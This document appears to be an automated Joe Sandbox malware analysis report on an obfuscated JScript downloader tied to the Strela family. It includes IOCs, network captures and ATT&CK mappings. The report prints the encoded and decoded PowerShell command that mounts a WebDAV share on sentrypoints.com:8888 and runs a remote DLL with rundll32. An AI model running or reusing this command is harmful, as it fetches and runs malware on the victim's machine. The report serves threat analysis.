Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 1997614539972622565.js

Static file information: File size 1424760 > 1048576

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:507 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:505 o: f:run a0:%22powershell%20-EncodedCommand%20bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwA");IWshShell3.Run("powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8", "0", "false")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00007FFD9B6E097D push E95B72D0h; ret

1_2_00007FFD9B6E09C9

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2250			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 927			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7572	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net.exe, 00000003.00000003.1718812871.00000222C67EF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719197825.00000222C683B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719127387.00000222C67EF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded net use \\sentrypoints.com@8888\davwwwroot\ ;;;;;;;; rundll32 \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry
Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded net use \\sentrypoints.com@8888\davwwwroot\ ;;;;;;;; rundll32 \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxabzaguabgb0ahiaeqbwag8aaqbuahqacwauagmabwbtaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaowa7adsaowa7adsaowagahiadqbuagqababsadmamgagafwaxabzaguabgb0ahiaeqbwag8aaqbuahqacwauagmabwbtaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaayadiaoqayaduamgayadqanwazadmamaaxadianwauagqababsacwarqbuahqacgb5aa==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxabzaguabgb0ahiaeqbwag8aaqbuahqacwauagmabwbtaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaowa7adsaowa7adsaowagahiadqbuagqababsadmamgagafwaxabzaguabgb0ahiaeqbwag8aaqbuahqacwauagmabwbtaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaayadiaoqayaduamgayadqanwazadmamaaxadianwauagqababsacwarqbuahqacgb5aa==			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Opens network shares

Source: C:\Windows\System32\rundll32.exe	File opened: \\sentrypoints.com@8888\davwwwroot\229252247330127.dll			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: \\sentrypoints.com@8888\davwwwroot\229252247330127.dll			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://aka.ms/pscore6	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://crl.v	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sentrypoints.com	94.159.113.48	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/pscore6	powershell.exe, 00000001.00000002.1721469464.0000019848A9B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1721469464.0000019848AE9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sentrypoints.com:8888/	net.exe, 00000003.00000003.1718704357.00000222C681C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.1718812871.00000222C67FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1719127387.00000222C67FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1721469464.0000019848B1B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.v	powershell.exe, 00000001.00000002.1722539951.0000019860A80000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sentrypoints.com:8888/pL	net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://sentrypoints.com:8888/paceUl	net.exe, 00000003.00000002.1719075045.00000222C67C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.159.113.48	sentrypoints.com	Russian Federation		49531	NETCOM-R-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543762
Start date and time:	2024-10-28 12:02:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1997614539972622565.js
Detection:	MAL
Classification:	mal84.troj.spyw.expl.evad.winJS@8/3@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Stop behavior analysis, all processes terminated

Warnings

Execution Graph export aborted for target powershell.exe, PID 7392 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 1997614539972622565.js

Simulations

Behavior and APIs

Time	Type	Description
07:03:40	API Interceptor	1x Sleep call for process: net.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.159.113.48	1770711382873314149.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	19513932819732138.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	1267026769116073766.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	1770711382873314149.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	19513932819732138.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	1267026769116073766.js	Get hash	malicious	Strela Downloader	Browse	endpointexperiment.com:8888/
	2811271181036830236.js	Get hash	malicious	Strela Downloader	Browse	apitestlabs.com:8888/
	2811271181036830236.js	Get hash	malicious	Strela Downloader	Browse	apitestlabs.com:8888/
	171596613219316174.js	Get hash	malicious	Strela Downloader	Browse	apitestlabs.com:8888/
	171596613219316174.js	Get hash	malicious	Strela Downloader	Browse	apitestlabs.com:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETCOM-R-ASRU	1770711382873314149.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	19513932819732138.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	1267026769116073766.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	1770711382873314149.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	19513932819732138.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	1267026769116073766.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	2811271181036830236.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	2811271181036830236.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	171596613219316174.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48
	171596613219316174.js	Get hash	malicious	Strela Downloader	Browse	94.159.113.48

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulM/l:NllU
MD5:	21F14205CCD420521F20158797DD550F
SHA1:	69A2950F28967FFF781C85FAFDC91F49E1E2A624
SHA-256:	D021F470AB6D211BC08B4DF10B4FD039E582C5BA57F371828643329F9F76E7DE
SHA-512:	8858DF0A62E1FD3D2300CB5A4CF32A15762DDA3EE77DCE440F5382163EAA1A1973704DB2EA6C7D1BFF31C8BAF5F657791595D458BA4A7710FA453CB15833E0D7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3itwmj5m.fpk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_teaw0blp.05e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	4.712544117334504
TrID:
File name:	1997614539972622565.js
File size:	1'424'760 bytes
MD5:	1d5eeb78265b9887d284bf08d25c3368
SHA1:	f0203afcf43febcb307812d19c6a010ad194a26d
SHA256:	96f7a1602553aaa0f38091bee8055114416a460c7ada60e856ca0882bbbd4127
SHA512:	9426512c01e77282922e2c028dee0c2558bf18abd142afc8e50e9b64cc4ad1b12f2a46b91fe91f23a2d7a2bb711f4c4d21214e6a338023a294d44d4edc056e20
SSDEEP:	24576:IYSWUi932Xw+Vm8sIocNdC5IdEddd6WwsIocNdC5IdEH6yGW:IhQYI5IocNd+Id0ddtVIocNd+IdU6yGW
TLSH:	D4657EAB650BCEFEAD149D98461B3F5208BCD831A922E558750B10D6C7BD0F60EB391F
File Content Preview:	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkbivgpppaplynswowrgmspvkzjukvpewgghfjoyqkumqvzbcheokrgnezbszpgppolqrpftgussjdteshhfqdnescyvykmfajryzhyujuegsluthkwnuiisqlyswgtuckluworiqkaionxqvrngaknciprvktsdv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 12:03:40.409460068 CET	49730	8888	192.168.2.4	94.159.113.48
Oct 28, 2024 12:03:40.414921045 CET	8888	49730	94.159.113.48	192.168.2.4
Oct 28, 2024 12:03:40.414998055 CET	49730	8888	192.168.2.4	94.159.113.48
Oct 28, 2024 12:03:40.415709019 CET	49730	8888	192.168.2.4	94.159.113.48
Oct 28, 2024 12:03:40.421129942 CET	8888	49730	94.159.113.48	192.168.2.4
Oct 28, 2024 12:03:41.313864946 CET	8888	49730	94.159.113.48	192.168.2.4
Oct 28, 2024 12:03:41.367795944 CET	49730	8888	192.168.2.4	94.159.113.48
Oct 28, 2024 12:03:41.390045881 CET	49730	8888	192.168.2.4	94.159.113.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 12:03:40.392374992 CET	56923	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:03:40.403871059 CET	53	56923	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
